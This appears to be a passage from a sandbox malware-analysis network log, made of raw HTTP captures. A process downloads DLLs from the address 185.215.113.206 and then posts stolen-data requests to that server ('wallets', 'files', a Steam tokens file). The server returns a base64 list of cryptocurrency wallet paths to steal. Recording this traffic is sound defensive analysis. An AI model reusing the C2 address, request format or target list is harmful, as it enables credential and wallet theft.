Oct 30, 2024 06:16:32.188177109 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 06:16:34.194658041 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 06:16:34.473299026 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 06:16:34.878338099 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 06:16:35.156574011 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 06:16:35.906560898 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 06:16:39.689682007 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:39.741220951 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"wallets------EGIDHDGCBFBKECBFHCAF--
Oct 30, 2024 06:16:40.021733046 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 06:16:40.024893045 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="message"files------JEBKEHJJDAAAAKECBGHD--
Oct 30, 2024 06:16:40.306391001 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:40.320578098 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBKKKJJJKKEBGDAFID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFCBKKKJJJKKEBGDAFIDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CFCBKKKJJJKKEBGDAFIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CFCBKKKJJJKKEBGDAFIDContent-Disposition: form-data; name="file"------CFCBKKKJJJKKEBGDAFID--
Oct 30, 2024 06:16:41.095808029 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:41.122523069 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="message"ybncbhylepme------DGHJECAFIDAFHJKFCGHI--
Oct 30, 2024 06:16:41.403479099 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:41.405394077 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFHJECAAAFHIJKFIJEGC--
Oct 30, 2024 06:16:42.181570053 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	142.250.185.100	443	7756	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:14 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 05:16:14 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:14 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-tooNneGzdq3mD-b_H43EDw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 05:16:14 UTC	112	IN	Data Raw: 31 32 38 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 72 69 64 67 65 74 20 73 63 68 75 6d 61 63 68 65 72 20 6f 62 69 74 75 61 72 79 22 2c 22 61 6c 70 68 61 62 65 74 20 73 74 6f 63 6b 20 65 61 72 6e 69 6e 67 73 22 2c 22 72 65 64 20 64 65 61 64 20 64 65 61 64 20 72 65 64 65 6d 70 74 69 6f 6e 22 2c 22 64 61 69 6c 79 20 68 6f 72 6f 73 63 Data Ascii: 1287)]}'["",["bridget schumacher obituary","alphabet stock earnings","red dead dead redemption","daily horosc
2024-10-30 05:16:14 UTC	1378	IN	Data Raw: 6f 70 65 20 74 6f 64 61 79 22 2c 22 68 6f 75 73 74 6f 6e 20 69 73 64 20 74 65 61 63 68 65 72 20 63 65 72 74 69 66 69 63 61 74 69 6f 6e 22 2c 22 6d 63 64 6f 6e 61 6c 64 20 71 75 61 72 74 65 72 20 70 6f 75 6e 64 65 72 20 65 20 63 6f 6c 69 20 6f 75 74 62 72 65 61 6b 22 2c 22 78 65 6e 6f 62 6c 61 64 65 20 63 68 72 6f 6e 69 63 6c 65 73 20 78 20 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 22 2c 22 68 65 6c 6c 64 69 76 65 72 73 20 75 70 64 61 74 65 20 70 61 74 63 68 20 6e 6f 74 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 Data Ascii: ope today","houston isd teacher certification","mcdonald quarter pounder e coli outbreak","xenoblade chronicles x nintendo switch","helldivers update patch notes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsi
2024-10-30 05:16:14 UTC	1378	IN	Data Raw: 5a 73 52 48 4a 46 63 79 74 36 51 6d 4e 61 61 46 5a 70 61 56 6c 31 65 55 6c 56 55 58 67 76 61 6a 42 68 61 47 31 4f 59 54 45 77 56 30 6b 33 4d 33 4e 55 4f 54 4e 74 5a 54 68 35 53 47 31 70 57 47 46 30 4b 33 6c 68 56 31 6c 53 4d 6c 64 6d 55 6d 31 50 64 55 31 6b 4f 56 67 72 4f 48 42 79 65 43 39 49 5a 57 4d 72 59 6a 4a 4f 57 58 70 4f 5a 7a 52 78 52 6c 70 35 53 43 39 4c 55 44 5a 32 59 6d 68 52 59 54 52 54 53 53 39 77 53 47 39 52 4e 58 70 79 4b 32 6c 74 51 30 4e 44 59 33 4e 73 51 6b 45 33 52 6b 31 4f 62 6a 4e 6c 5a 6d 39 42 4b 30 35 4d 64 31 6c 33 4d 58 68 6f 52 54 5a 33 59 33 4e 6c 62 6a 6c 76 53 6b 64 4e 4d 45 68 42 52 32 56 42 54 33 4a 72 61 30 63 7a 56 46 4e 6a 56 57 35 74 4c 30 4e 73 4d 45 78 59 65 6b 4d 76 64 6c 64 77 64 54 59 31 52 33 51 7a 63 56 6c 71 59 Data Ascii: ZsRHJFcyt6QmNaaFZpaVl1eUlVUXgvajBhaG1OYTEwV0k3M3NUOTNtZTh5SG1pWGF0K3lhV1lSMldmUm1PdU1kOVgrOHByeC9IZWMrYjJOWXpOZzRxRlp5SC9LUDZ2YmhRYTRTSS9wSG9RNXpyK2ltQ0NDY3NsQkE3Rk1ObjNlZm9BK05Md1l3MXhoRTZ3Y3NlbjlvSkdNMEhBR2VBT3Jra0czVFNjVW5tL0NsMExYekMvdldwdTY1R3QzcVlqY
2024-10-30 05:16:14 UTC	1378	IN	Data Raw: 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 34 76 4c 30 46 42 51 6b 56 4a 51 55 4a 76 51 56 46 42 54 55 4a 4a 5a 30 46 44 52 56 46 46 52 45 56 52 53 43 39 34 51 55 46 69 51 55 46 42 51 6b 4a 52 52 55 4a 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 45 51 55 46 52 52 6b 4a 6e 59 30 4a 42 64 69 39 46 51 55 4e 7a 55 55 46 42 53 55 4a 42 5a 31 56 45 51 58 64 4e 52 6b 46 42 51 55 46 42 51 55 46 42 51 55 46 46 51 30 46 33 55 56 4a 42 51 56 56 54 53 56 52 46 56 46 46 58 52 57 6c 56 57 55 56 48 52 6b 68 46 56 6b 6c 36 53 58 70 76 5a 69 39 46 Data Ascii: npjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUJvQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQkJRRUJBQUFBQUFBQUFBQUFBQUFEQUFRRkJnY0JBdi9FQUNzUUFBSUJBZ1VEQXdNRkFBQUFBQUFBQUFFQ0F3UVJBQVVTSVRFVFFXRWlVWUVHRkhFVkl6SXpvZi9F
